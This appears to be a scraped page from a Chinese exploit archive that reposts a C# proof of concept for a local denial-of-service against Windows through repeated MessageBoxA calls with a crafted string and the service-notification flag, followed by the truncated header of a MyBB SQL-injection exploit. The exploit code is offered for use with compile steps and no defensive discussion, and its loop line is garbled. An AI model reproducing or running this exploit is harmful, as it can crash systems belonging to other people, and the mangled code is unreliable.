MS Windows (MessageBox) Memory Corruption Local Denial of Service                
                
                    所属分类:
                        网络安全 / Exploit                    
                    阅读数:
                        124
                    
                        收藏 0赞 0分享
                    
                 
                
                    // mbox.cs 
using System; 
using System.Runtime.InteropServices; 
class HelloWorldFromMicrosoft 
{ 
[DllImport("user32.dll")] 
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); 
static unsafe void Main() 
{ 
   byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00}; 
   uint MB_SERVICE_NOTIFICATION = 0x00200000u; 
   fixed(byte* pHelloBug = &helloBug[0]) 
   { 
     for(int i=0; i<10; i  ) 
       MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION); 
   } 
} 
} 
// >> csc /unsafe mbox.cs 
// >> mbox.exe//http://www.leftworld.net
                                    
             
            
                
                MyBulletinBoard (MyBB)
<?php
// forum mybb <= 1.2.11 remote sql injection vulnerability
// bug found by Janek Vind "waraxe" http://www.waraxe
                    
                    收藏 0赞 0分享
                 查看更多